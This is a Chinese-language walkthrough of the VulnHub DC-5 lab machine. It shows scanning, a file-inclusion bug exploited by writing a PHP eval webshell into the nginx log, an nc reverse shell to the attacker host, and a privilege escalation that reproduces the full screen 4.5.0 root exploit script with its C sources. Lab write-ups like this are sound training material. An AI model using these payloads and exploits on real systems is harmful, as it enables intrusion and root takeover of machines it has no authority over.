vulnhub过关之旅(DC-5)

1.存活主机探测

1.1锁定目标ip

sudo masscan --ping 192.168.100.0/24 --rate=1000

目标ip为192.168.100.148

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-02 02:30:00 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.2                                   
Discovered open port 0/icmp on 192.168.100.151                                 
Discovered open port 0/icmp on 192.168.100.148

1.2确定目标主机开放端口

sudo nmap 192.168.100.148 -p- -sV -A

可以看到目标主机开放了80端口和111端口相关的一些服务

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 10:32 CST
Nmap scan report for 192.168.100.148
Host is up (0.00027s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34681/tcp   status
|   100024  1          48384/tcp6  status
|   100024  1          49450/udp   status
|_  100024  1          60923/udp6  status
34681/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:D8:B1:E7 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 192.168.100.148

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds

2.寻找漏洞

2.1访问80端口寻找漏洞点

浏览器输入192.168.100.148访问网站,可以看到是一个普通的企业门户页面

其中contact的页面可以交互,我们输入一些东西点击提交观察一些网站的反应

一开始是contact.php页面,点击submit提交后会跳转到thankyou.php,而且观察url后面的参数,除了我们输入的一些参数,还有一个file参数,猜测可能是文件包含,而且最下方的copyright后面跟着的时间也一直变化。

接下来我们来验证一下自己的猜想,把file参数改成contact.php,看看是不是能包含进来。

http://192.168.100.148/thankyou.php?file=contact.php

果然,我们在thankyou的界面成功打开了contact界面,所以确定了这是个文件包含漏洞。

2.2漏洞利用

首先可以看到网站的中间件是nginx的,所以可以试一下把php一句话木马写入日志,然后利用文件包含日志来获取网站的控制。

构造url为:

http://192.168.100.148/thankyou.php?file=/var/log/nginx/access.log

看到返回界面为:

接下来构造漏洞利用的url为:

http://192.168.100.148/<?php phpinfo();eval($_POST['cmd']);?>

然后包含进来日志,发现出现phpinfo页面

说明的一句话木马也是可以使用的,于是使用蚁剑进行连接。

打开蚁剑的虚拟终端,使用nc命令反弹一个shell,并且kali使用nc监听

nc -lvnp 12345//kali的nc监听
nc 192.168.100.129 12345 -e /bin/bash//目标主机的发送命令
listening on [any] 12345 ...
connect to [192.168.100.129] from (UNKNOWN) [192.168.100.148] 40078
whoami
www-data

成功获取shell后在用命令python -c ‘import pty;pty.spawn(“/bin/bash”)’返回一个友好的shell。

3.提权

获得shell后目前的用户是www-data,权限非常低,接下来探测一下哪些程序具有root权限

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

找到一个screen程序,这个程序是爆过漏洞的,那应该是利用它提权了。

寻找关于screen 4.5.0的漏洞

searchsploit screen 4.5.0 

成功找到两个文件,我们把它们复制过来看下怎么用

cat 41154.sh       
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

这段脚本的意思是先编译两个c语言程序,然后执行后面的sh脚本代码,因为直接执行会失败,所以把里面的c语言代码复制出来单独编译和利用。

首先创建一个 libhax.c 文件和一个 rootshell.c ,并把相应内容复制进去

然后使用编译命令编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

然后把后面的sh脚本语句单独复制成run.sh文件

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

现在目前得到了三个文件,把这三个文件通过蚁剑上传到目标机的tmp文件夹下,然后运行run.sh脚本,成功获取root权限。

www-data@dc-5:/home/dc$ cd /tmp
cd /tmp
www-data@dc-5:/tmp$ ls
ls
libhax.so  rootshell  run.sh
www-data@dc-5:/tmp$ chmod +x run.sh
chmod +x run.sh
www-data@dc-5:/tmp$ ls
ls
libhax.so  rootshell  run.sh
www-data@dc-5:/tmp$ ./run.sh
./run.sh
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# whoami
whoami
root
#